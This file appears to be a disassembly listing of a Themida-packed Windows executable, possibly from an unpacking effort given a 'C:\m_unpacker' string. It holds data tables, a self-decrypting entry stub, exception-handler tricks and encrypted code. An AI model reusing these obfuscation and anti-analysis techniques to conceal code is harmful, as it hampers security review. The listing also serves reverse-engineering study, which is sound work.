		dd 0BE7C0000h, 4E2D1069h, 5Ah, 0
		dd 1E770000h, 0FDE3h, 14h dup(0)
		dd 79690000h, 5ECCFFA9h, 77DDh,	3 dup(0)
		dd 0B1680000h, 9Fh, 0
		dd 9E640000h, 0FFFFh, 0
		dd 7DB00000h, 0ABE3h, 0
		dd 9E640000h, 0FFFFh, 5	dup(0)
		dd 77F5h, 0
		dd 0A7600000h, 5Ah, 0BF540000h,	980057h, 0
		dd 56350000h, 780Ch, 4 dup(0)
		dd 3040000h, 7FFEh, 10000h, 2 dup(0)
		dd 3E0000h, 77E6h, 0EA010000h, 58h, 5 dup(0)
		dd 66600000h, 0D88Ch, 4	dup(0)
		dd 77E6h, 8 dup(0)
		dd 4A5D0000h, 5Ah, 2 dup(0)
		dd 0FFDD0000h, 0FFA8h, 0
		dd 0B5680000h, 0FFFFh, 2 dup(0)
		dd 69DD0000h, 0A0h, 27100000h, 6 dup(0)
		dd 6A3D0000h, 5Ah, 8 dup(0)
		dd 79630000h, 77E7h, 3 dup(0)
		dd 59740000h, 5BE48655h, 0A4A30057h, 57h, 0
		dd 20000h, 0
		dd 82200000h, 45180000h, 0BC33h, 5 dup(0)
		dd 0E1380000h, 0FA37h, 5 dup(0)
		dd 0FFFF0000h, 0FFACh, 0EE020000h, 53h,	22920000h, 0FFFE00A0h
		dd 0FFFFh, 10000h, 4 dup(0)
		dd 0D5C77F5h, 7FAAh, 6 dup(0)
		dd 2D600000h, 1284h, 0
		dd 0F7E0000h, 6C91h, 5 dup(0)
		dd 5CB50000h, 77E7h, 2 dup(0)
		dd 3E0000h, 77FFh, 7 dup(0)
		dd 0BC640000h, 0D5B2h, 4 dup(0)
		dd 0EB090000h, 0E5FA16B7h, 58h,	3 dup(0)
		dd 6CFE0000h, 1284h, 2ABA0000h,	0A10h, 0A2D40000h, 4A7Bh
		dd 3 dup(0)
		dd 20000h, 6 dup(0)
		dd 0E0B30000h, 5Ah, 0
		dd 9EEC0000h, 58h, 0Ah dup(0)
		dd 0FFFC0000h, 12h, 0
		dd 5ECF0000h, 5704h, 8 dup(0)
		dd 8D740000h, 0FFFFh, 0
		dd 82200000h, 0E4C90000h, 56h, 3 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 20A90000h, 59h, 0Dh dup(0)
		dd 8D8D0000h, 8AB6h, 2 dup(0)
		dd 4A3B0000h, 77E7h, 33330000h,	2 dup(33333333h), 3333h
		dd 0
		dd 3040000h, 0A5FD7FFEh, 77E7h,	8AF40000h, 0FFFFh, 3040000h
		dd 7FFEh, 0AFh dup(0)
		dd 0BCDF0000h, 57h, 5D490000h, 304FEF7h, 7FFEh,	2 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 0ADE70000h, 15680000h, 0A1h,	2 dup(0)
		dd 3040000h, 7FFEh, 751F0000h, 0
		dd 1C87025Ah, 59h, 880000h, 3 dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 0FF1C0000h, 2 dup(0)
		dd 82200000h, 69F00000h, 0A0F8h, 8 dup(0)
		dd 10000h, 3 dup(0)
		dd 0D7460000h, 0E53Ah, 3 dup(0)
		dd 0B1A70000h, 0Ch, 82200000h, 81E10000h, 99CFh, 0
		dd 0E800000h, 4	dup(0)
		dd 3A00000h, 0F7EB0000h, 7FEFh,	3 dup(0)
		dd 0A13F0000h, 77E7h, 0D0000000h, 0Dh, 0
		dd 0FF540000h, 12h, 4 dup(0)
		dd 0D8960000h, 7FFEh, 0FFA40000h, 62890012h, 10h, 77F5h
		dd 9 dup(0)
		dd 0B4C40000h, 6B9Dh, 77D4h, 0
		dd 0E9630000h, 0C585h, 0
		dd 3040000h, 0F06B7FFEh, 0A0h, 18h dup(0)
		dd 18BC0000h, 1, 22220000h, 22222222h, 2222h, 2	dup(0)
		dd 0B1340000h, 0A2h, 2 dup(0)
		dd 0C9A40000h, 19594h, 3 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Dh dup(0)
		dd 7C460000h, 33274113h, 0E16Dh, 3 dup(0)
		dd 24240000h, 2424h, 0Bh dup(0)
		dd 247A0000h, 166Dh, 2 dup(0)
		dd 9C670000h, 5B9A0059h, 0FFFFh, 0
		dd 740000h, 0
		dd 10000h, 0A7090000h, 62FB005Ah, 5Ah, 6 dup(0)
		dd 60000h, 4 dup(0)
		dd 53E90000h, 53CFh, 151C0000h,	17FF2h,	0
		dd 249h, 0
		dd 67FD0000h, 59h, 0
		dd 0A00000h, 0
		dd 18780000h, 0DAE9h, 90BBh, 4 dup(0)
		dd 780000h, 0CA960000h,	304FFA7h, 7FFEh, 0AF290000h, 304005Ah
		dd 7FFEh, 8 dup(0)
		dd 69DD0000h, 0A0h, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 16710000h, 59h, 0
		dd 8A890000h, 805Ch, 8 dup(0)
		dd 486E0000h, 54h, 4 dup(0)
		dd 0FF540000h, 12h, 0
		dd 89330000h, 8818h, 3 dup(0)
		dd 10000000h, 40h, 0
		dd 27550000h, 77E8h, 5 dup(0)
		dd 7F10000h, 28Bh, 2 dup(0)
		dd 92140000h, 58h, 9 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 17B20000h, 58h, 3 dup(0)
		dd 1D960000h, 0E0B30057h, 5Ah, 2 dup(0)
		dd 30980000h, 59h, 5 dup(0)
		dd 3040000h, 93937FFEh,	0A0h, 75330000h, 57h, 3	dup(0)
		dd 4AF00000h, 0Eh, 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh
		dd 82h dup(0)
		dd 600000h, 0
		dd 82200000h, 10000h, 2	dup(0)
		dd 6F80000h, 0F02Eh, 900000h, 0
		dd 64A10000h, 6A38h, 6 dup(0)
		dd 25Bh, 3 dup(0)
		dd 0FE60000h, 9Fh, 26h dup(0)
		dd 0F7B076B4h, 58h, 8 dup(0)
		dd 0CF5F0000h, 1EC7h, 3	dup(0)
		dd 3C40000h, 3 dup(0)
		dd 0A5E70000h, 579B00A4h, 58h, 4 dup(0)
		dd 5FF10000h, 0FF5Fh, 0A1440000h, 77E7h, 0FF500000h, 12h
		dd 0
		dd 2FE80000h, 77E8h, 10000h, 0D4AF77E6h, 56h, 0
		dd 2CD00000h, 5Bh, 0
		dd 30DF0000h, 0CBD3A9C5h, 0FA2Ch, 5 dup(0)
		dd 52190000h, 0FFFFh, 4	dup(0)
		dd 3040000h, 7FFEh, 82200000h, 8 dup(0)
		dd 0AE80000h, 6	dup(0)
		dd 9F480000h, 0FFFFh, 3	dup(0)
		dd 0BD340000h, 5Ah, 0
		dd 96000000h, 0E87Bh, 6	dup(0)
		dd 0A7090000h, 5Ah, 0
		dd offset dword_540000
		dd 4 dup(0)
		dd 0FE420000h, 57h, 40020000h, 0
		dd 0DBA0000h, 373F8052h, 5BF3h,	1D460000h, 57h,	0F5660000h
		dd 0FF60h, 0
		dd 15640000h, 0A1h, 7 dup(0)
		dd 87F20000h, 77EBh, 7 dup(0)
		dd 43000000h, 0B157h, 0
		dd 0C4860000h, 77E7h, 3040000h,	7FFEh, 2 dup(0)
		dd 197234h, 6 dup(0)
		dd 10000000h, 1Ch, 0
		dd 10000h, 1Dh dup(0)
dword_540000	dd 7Bh dup(0)		; DATA XREF: Themida_:0053FEB0o
		dd 933F0000h, 12h, 249h, 0FFFF0000h, 9335FFFFh,	10057h
		dd 68930000h, 59h, 2Ah dup(0)
		dd 0F80000h, 9Fh, 87C80000h, 8AF01016h,	0ABEFFFFh, 0A00F0054h
		dd 0C8D900A0h, 58h, 2BDE0000h, 0A0h, 2 dup(0)
		dd 0FEF00000h, 12h, 3040000h, 7FFEh, 3 dup(0)
		dd 0FD7A0000h, 53h, 1F80000h, 77FFh, 4A030000h,	8018h
		dd 3 dup(0)
		dd 0A6840000h, 5Ah, 4 dup(0)
		dd 1100000h, 0FFEDh, 3 dup(0)
		dd 1FFF0000h, 4	dup(0)
		dd 0EBB30000h, 77F7h, 3	dup(0)
		dd 4A030000h, 17898018h, 93EF0059h, 77E7h, 2 dup(0)
		dd 3040000h, 7FFEh, 0D3B90000h,	7FFEh, 6 dup(0)
		dd 0FFFF0000h, 57h, 6 dup(0)
		dd 1B980000h, 54h, 7 dup(0)
		dd 0EFF70000h, 62F0FFAFh, 1AED2323h, 57h, 20000h, 5 dup(0)
		dd 680000h, 4 dup(0)
		dd 28Bh, 2 dup(0)
		dd 685A0000h, 59h, 6 dup(0)
		dd 0A1440000h, 77E7h, 0Ah dup(0)
		dd 5D610000h, 5Ah, 0
		dd 0ED890000h, 11FDh, 2	dup(0)
		dd 0F42C0000h, 0
		dd 82200000h, 2	dup(0)
		dd 180B0000h, 0CF6277F5h, 5Bh, 3 dup(0)
		dd 0DAE9h, 0
		dd 1D6E0000h, 20800057h, 59h, 95A0000h,	5Bh, 5 dup(0)
		dd 5B9A0000h, 0FFFFh, 0
		dd 2BCF0000h, 144Fh, 5FA70000h,	32A9h, 0Ah dup(0)
		dd 56430000h, 24560000h, 54h, 0
		dd 0FF400000h, 0FFFFh, 7 dup(0)
		dd 0A170000h, 2	dup(0)
		dd 0CA870000h, 6F170057h, 5Bh, 7 dup(0)
		dd 390000h, 0
		dd 9200000h, 5E2E0000h,	15E600A0h, 54h,	2 dup(0)
		dd 0CC6F0000h, 57h, 4 dup(0)
		dd 69DD0000h, 0FCFF00A0h, 8001h, 0Bh dup(0)
		dd 6B740000h, 9E66h, 2 dup(0)
		dd 21680000h, 77E8h, 2 dup(0)
		dd 0B5E20000h, 238A0Fh,	0B80057h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	14h dup(0)
		dd 1A340000h, 9E6477B4h, 0FFFFh, 6 dup(0)
		dd 73160000h, 0A2h, 936F0000h, 7E80h, 0
		dd 0C4740000h, 5EECh, 0
		dd 0B19E0000h, 57h, 27h	dup(0)
		dd 20940000h, 54h, 6 dup(0)
		dd 0FF540000h, 12h, 3 dup(0)
		dd 10000h, 0
		dd 0E9000000h, 57h, 3 dup(0)
		dd 0D7060000h, 0FFDD77E6h, 0C35500B2h, 5Ah, 4F970000h
		dd 3FA6h, 0
		dd 241h, 5 dup(0)
		dd 35B0000h, 0B5E20000h, 0Eh dup(0)
		dd 0C10000h, 863D0000h,	0
		dd 9F30000h, 2BA1h, 3040000h, 7FFEh, 2 dup(0)
		dd 0F3F00000h, 700007h,	0
		dd 6D570000h, 5Bh, 3 dup(0)
		dd 5CB50000h, 0AFC177E7h, 0CFD70000h, 1E44h, 67730000h
		dd 58h,	3 dup(0)
		dd 32680000h, 0A1h, 3 dup(0)
		dd 0FE780000h, 0A6E90057h, 77EBh, 0CF620000h, 5Bh, 0
		dd 270C0000h, 58h, 9CEF0000h, 57h, 0
		dd 87530000h, 46h, 53B50000h, 1E2B1AEEh, 7C29h,	3 dup(0)
		dd 6B740000h, 137D005Bh, 72F6h,	0
		dd 0F4F60000h, 53h, 0
		dd 4DCA0000h, 8D8D6FCEh, 4 dup(0)
		dd 9F2E0000h, 4A30015h,	0B5h, 9	dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 0E1D60000h, 57h, 0B5C50000h,	8818h, 4 dup(0)
		dd 14B60000h, 7FA6h, 0Ah dup(0)
		dd 0AA220000h, 0ADF6h, 2 dup(0)
		dd 0B2280000h, 92340000h, 0A0h,	0
		dd 99950000h, 0A4h, 3 dup(0)
		dd 0C6000000h, 0C8D90003h, 58h,	69DD0000h, 5CB500A0h, 77E7h
		dd 0C9F30000h, 3C11h, 0
		dd 40000h, 0
		dd 0FB8C0000h, 480Ah, 9	dup(0)
		dd 9BA40000h, 800059h, 0
		dd 3040000h, 7FFEh, 64h	dup(0)
		dd 0E4480000h, 915B0000h, 0A0h,	3040000h, 7FFEh, 0
		dd 14340000h, 70E00000h, 29E3h,	0FF2C0000h, 0FFFFh, 0
		dd 0FF540000h, 12h, 2B0000h, 4 dup(0)
		dd 8D530000h, 6B7400A4h, 9E66h,	3 dup(0)
		dd 11110000h, 1111h, 0E3570000h, 1BDAh,	0
		dd 10000h, 3 dup(0)
		dd 0FD7A0000h, 0C1E00053h, 0CBD30001h, 0FA2Ch, 2 dup(0)
		dd 0E53E0000h, 3E68490Eh, 400277E8h, 65700000h,	5Ah, 0
		dd 7D10000h, 6 dup(0)
		dd 76B4h, 3 dup(0)
		dd 83ED0000h, 5Ah, 2 dup(0)
		dd 0A40000h, 0
		dd 249h, 11h dup(0)
		dd 0ADE70000h, 5 dup(0)
		dd 840000h, 0
		dd 4A030000h, 8018h, 3 dup(0)
		dd 0B4EA0000h, 0B5FDFD42h, 7FE7h, 0B7h,	6 dup(0)
		dd 8BBC0000h, 59h, 7 dup(0)
		dd 0FD550000h, 11DCh, 5	dup(0)
		dd 2ABA0000h, 0A10h, 9 dup(0)
		dd 20000h, 4AF00000h, 7501000Eh, 398Eh,	0Bh dup(0)
		dd 40h,	0
		dd 11A0000h, 5Bh, 4 dup(0)
		dd 1AD30000h, 57h, 3 dup(0)
		dd 259h, 2 dup(0)
		dd 83780000h, 8ECBh, 6D570000h,	5Bh, 4 dup(0)
		dd 0FFF00000h, 0FD9C0012h, 77EBh, 0
		dd 0FF700000h, 0FFFFh, 4 dup(0)
		dd 15E0000h, 4 dup(0)
		dd 69DD0000h, 0A0h, 3040000h, 7FFEh, 880000h, 4	dup(0)
		dd 940000h, 4 dup(0)
		dd 1B400000h, 76B4h, 0E9750000h, 4A4Ch,	0
		dd 0A0990000h, 108E77E7h, 176Ah, 0
		dd 3040000h, 7FFEh, 9 dup(0)
		dd 1050000h, 0A28h, 0
		dd 980000h, 5 dup(0)
		dd 0A4A30000h, 57h, 5D80000h, 77E8h, 3 dup(0)
		dd 7FD80000h, 0FFED00A2h, 77FFh, 3040000h, 7FFEh, 3 dup(0)
		dd 17B20000h, 58h, 0
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 4A030000h, 4F928018h, 57h, 2	dup(0)
		dd 9Fh,	0
		dd 0B5E20000h, 8A0Fh, 1CE90000h, 9BAC1C07h, 0A2h, 3 dup(0)
		dd 0B1CA0000h, 961000AEh, 5F07h, 3 dup(0)
		dd 68C10000h, 0E246h, 2	dup(0)
		dd 77950000h, 71AC0057h, 8C0A0000h, 0A0h, 3 dup(0)
		dd 0A0370000h, 0A0h, 4 dup(0)
		dd 0F150000h, 5Ah, 9C0000h, 0
		dd 40F60000h, 0FF50h, 0A80000h,	2 dup(0)
		dd 0FA560000h, 0A0h, 1B980000h,	54h, 0
		dd 97200000h, 0FFFFh, 5	dup(0)
		dd 0FEF00000h, 12h, 0
		dd 0B40A0000h, 2E14h, 8	dup(0)
		dd 0B1A70000h, 40D000Ch, 5Bh, 9	dup(0)
		dd 0FF1C0000h, 3 dup(0)
		dd 3040000h, 57h, 2 dup(0)
		dd 0E53E0000h, 490Eh, 3	dup(0)
		dd 0D4660000h, 5Ah, 2 dup(0)
		dd 0A00000h, 9 dup(0)
		dd 380000h, 2 dup(0)
		dd 0FD7A0000h, 53h, 0
		dd 8A00000h, 5 dup(0)
		dd 98E20000h, 3A43FF50h, 4E49575Ch, 53574F44h, 7379535Ch
		dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Fh dup(0)
		dd 6180000h, 77E8h, 0
		dd 17B20000h, 58h, 0Bh dup(0)
		dd 0B5E20000h, 3 dup(0)
		dd 4A2D0000h, 5Ah, 3 dup(0)
		dd 3090000h, 14Eh, 75CE0000h, 4	dup(0)
		dd 10000h, 3 dup(0)
		dd 1B980000h, 54h, 0B5920000h, 0
		dd 82200000h, 2	dup(0)
		dd 85F10000h, 77FCh, 8C0A0000h,	0A0h, 3	dup(0)
		dd 77A70000h, 3040057h,	7FFEh, 3 dup(0)
		dd 14A0000h, 0D31h, 3 dup(0)
		dd 67700000h, 23E87B1Ah, 0A1h, 4 dup(0)
		dd 75B50000h, 0
		dd 8C0000h, 3 dup(0)
		dd 48610000h, 0DDFEh, 59C0000h,	5D80000h, 77E8h, 12AA0000h
		dd 6 dup(0)
		dd 272F0000h, 7C9Eh, 5 dup(0)
		dd 874E0000h, 57h, 2 dup(0)
		dd 8B820000h, 30477E7h,	7FFEh, 3 dup(0)
		dd 0D3BD0000h, 7FFEh, 0
		dd 0E9750000h, 4A4Ch, 11h dup(0)
		dd 0FF600000h, 0FFFFh, 0
		dd 8A0000h, 0
		dd 3E3B0000h, 0A0h, 0
		dd 9CE40000h, 0FFFFh, 30DF0000h, 0
		dd 0DFE20000h, 0FFA8h, 0
		dd 0FFFF0000h, 0BFFFh, 3 dup(0)
		dd 0FFB00000h, 0D3300140h, 0FFA4h, 10h dup(0)
		dd 75B50000h, 2	dup(0)
		dd 27550000h, 477E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5415EA:				; CODE XREF: start:loc_53E281j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E73373h
		mov	[ebp+5E703F1h],	edx
		mov	[ebp+5E72245h],	esi
		mov	[ebp+5E72C65h],	eax
		cmp	dword ptr [ebp+5E71B39h], 0
		jz	short loc_541622
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_541622:				; CODE XREF: start+61600j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E70211h],	eax
		push	45h
		call	sub_5416D6
		push	783749Ah
		call	sub_54171C
		push	0A894B25h
		call	sub_54171C
		jmp	loc_541860
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5416D6	proc near		; CODE XREF: start+6161Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E73461h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_5416F2:				; CODE XREF: sub_5416D6+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_541711
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E733CBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5416F2
; ---------------------------------------------------------------------------

loc_541711:				; CODE XREF: sub_5416D6+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5416D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54171C	proc near		; CODE XREF: start+61624p start+6162Ep

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E734AAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_541742:				; CODE XREF: sub_54171C+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_541742
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E733CBh]
		lea	esi, [ebp+var_80]

loc_541772:				; CODE XREF: sub_54171C+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_54177E:				; CODE XREF: sub_54171C+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54177E
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_541772
		popa
		leave
		retn	4
sub_54171C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5417BC
; ---------------------------------------------------------------------------

loc_5417B8:				; CODE XREF: Themida_:005417BFj
		inc	dword ptr [ebp-4]
		inc	esi

loc_5417BC:				; CODE XREF: Themida_:005417B6j
		cmp	byte ptr [esi],	0
		jnz	short loc_5417B8
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54184D
; ---------------------------------------------------------------------------

loc_5417CE:				; CODE XREF: Themida_:00541850j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_541844
; ---------------------------------------------------------------------------

loc_5417D7:				; CODE XREF: Themida_:00541848j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_541831
; ---------------------------------------------------------------------------

loc_5417E7:				; CODE XREF: Themida_:00541835j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_541809
		cmp	bl, 39h
		ja	short loc_541809
		sub	bl, 30h
		jmp	short loc_54182B
; ---------------------------------------------------------------------------

loc_541809:				; CODE XREF: Themida_:005417FDj
					; Themida_:00541802j
		cmp	bl, 61h
		jb	short loc_54181B
		cmp	bl, 66h
		ja	short loc_54181B
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54182B
; ---------------------------------------------------------------------------

loc_54181B:				; CODE XREF: Themida_:0054180Cj
					; Themida_:00541811j
		cmp	bl, 41h
		jb	short loc_54182B
		cmp	bl, 46h
		ja	short loc_54182B
		sub	bl, 41h
		add	bl, 0Ah

loc_54182B:				; CODE XREF: Themida_:00541807j
					; Themida_:00541819j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_541831:				; CODE XREF: Themida_:005417E5j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5417E7
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_541841
		mov	eax, [ebp-10h]
		stosb

loc_541841:				; CODE XREF: Themida_:0054183Bj
		inc	dword ptr [ebp-8]

loc_541844:				; CODE XREF: Themida_:005417D5j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5417D7
		add	edx, 4

loc_54184D:				; CODE XREF: Themida_:005417CCj
		cmp	edx, [ebp-4]
		jb	loc_5417CE
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_541860:				; CODE XREF: start+61633j
		mov	ecx, 7000h
		lea	edi, [ebp+5E735F0h]

loc_54186B:				; CODE XREF: start+6185Bj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54186B
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E736E7h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	edi
		call	sub_5418A7
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5418A7	proc near		; CODE XREF: start+6188Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5418A7	endp

; ---------------------------------------------------------------------------
		db 59h
		dd 78D0F43h, 50000000h,	0CD5923BBh, 0F3805B26h,	68F381E9h
		dd 2B2A6E49h, 25F9C2h, 66FFFFF0h, 8B2D69BBh, 66FF33CAh
		dd 5A4D3881h, 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h
		dd 10002Dh, 0E3EB4700h,	58F64h,	83000000h, 958D04C4h, 5E736FAh
		dd 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 0E73705EDh, 0C3858D05h, 8905E736h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0FE894F0h
		dd 0
		dd 0F79F508Ch, 4CCCE34Ah, 0E2279755h, 13E9E278h, 88000000h
		dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0F5B367Fh
		dd 8Ch,	0D98C6600h, 7E9h, 162BDC00h, 6033F96Bh,	0F04E180h
		dd 0C8Bh, 7E900h, 75570000h, 57718A5Ch,	0FC90AFAh, 4485h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 2D3D8CBBh, 6E854B6Eh, 0F185C7B3h, 105E707h
		dd 0F000000h, 286h, 0E90EB300h,	16h, 890Fh, 0BF0F0000h
		dd 0F185C7DEh, 5E707h, 0F000000h, 8589DABFh, 5E70C25h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4DC35141h
		dd 47AB3D2Ah, 0EDBBCA8Ah, 89428773h, 0E72DC585h, 0FE805h
		dd 0E1320000h, 8629D4A3h, 9DF208A5h, 3736DA08h,	0EE875h
		dd 8C7B0000h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h,	5EFFBF0Fh
		dd 81C88B5Ah, 5EA5C2h, 0C5DE8100h, 0BB36C115h, 116B3736h
		dd 1FBBEB81h, 0F9B1116Bh, 0C081028Bh, 64ADDC06h, 10E952h
		dd 2A4C0000h, 6308BCA6h, 845A1F54h, 9DD85601h, 815F7F26h
		dd 0EA1A91C0h, 6660601Ah, 0C380D18Bh, 6CBF6177h, 61542D7Eh
		dd 0A4E8E881h, 28919C6h, 14E9h,	94028A00h, 0C1364C97h
		dd 2B390D4Ah, 941C479Dh, 768102D9h, 4EA8394h, 0FE9h, 0FD50DA00h
		dd 39316CB4h, 29018187h, 8F9992A9h, 1EB81h, 850F0000h
		dd 0FFFFFF88h, 0E9CEB70Fh, 6FCh, 9E9h, 53533700h, 0A5B87AAFh
		dd 217208Ah, 70000h, 840F0000h,	1, 600000F8h, 16918509h
		dd 61F505E7h, 6E960h, 728E0000h, 0BD19B224h, 0B8h, 548BFC00h
		dd 9E92824h, 0B6000000h, 0A6CCFDD8h, 9C77383Eh,	25C58589h
		dd 800F05E7h, 0Dh, 8E9h, 85F74000h, 7FCD8E12h, 3CBEE6h
		dd 890F0000h, 6, 32F59509h, 14E905E7h, 2D000000h, 4B8E88A8h
		dd 689D9265h, 0EC6290A1h, 91DE411h, 3200608h, 89242474h
		dd 0E72F058Dh, 0E9AD6605h, 0Fh,	6AA6809Bh, 241A043Fh, 5CB8DB5Ah
		dd 363863Fh, 60242444h,	20898509h, 0BD8B05E7h, 5E727A5h
		dd 50605061h, 0F616052h, 0D18B6631h, 13E8585Ah,	44000000h
		dd 58FDCC82h, 6B6AAABBh, 0C8D0361Dh, 59070F61h,	5B565991h
		dd 489615Bh, 0AE924h, 54EB0000h, 0E1B86A7h, 0FCAF6546h
		dd 4A1B529h, 408B05E7h,	68C0F78h, 89000000h, 0E72B3595h
		dd 24440305h, 0EDB58928h, 0FC05E70Bh, 6018408Bh, 12E8h
		dd 0B2A8B00h, 0D4F147F8h, 0D2BA1877h, 89139C53h, 81D673A0h
		dd 166E79EFh, 0B5015E3Fh, 5E70875h, 0B9BD0161h,	4005E726h
		dd 0A8C0Fh, 60600000h, 800F61h,	61000000h, 38FD8589h, 58FC05E7h
		dd 0DB9B509h, 708B05E7h, 0E6816078h, 7E114B12h,	0BE9h
		dd 0D6206800h, 2B7811B8h, 46F64562h, 1CC68361h,	7403F5FCh
		dd 29F52424h, 0E70B7D85h, 75BD8D05h, 6005E712h,	61F5F18Bh
		dd 0C870FADh, 0F000000h, 683h, 820F00h,	3000000h, 89242444h
		dd 0E726DDBDh, 0EE905h,	1CB20000h, 0F41BF411h, 0CEC5B0D5h
		dd 55C96696h, 0BD8DF8ABh, 5E731BDh, 0DE9h, 0B37E9B00h
		dd 26E52CDh, 0DC47DD90h, 0FAD5AEEh, 685h, 699D0900h, 0F05E70Eh
		dd 687h, 0F19D8900h, 305E722h, 0F242444h, 78Ah,	1800F00h
		dd 0F9000000h, 0B800F90h, 0E9000000h, 6, 3508AEB3h, 60507AAEh
		dd 10E9h, 1C5A4700h, 119E8439h,	0EEE8BB26h, 53517A4Eh
		dd 38E0F85h, 66000000h,	9061DA8Bh, 0B7DB529h, 60AB05E7h
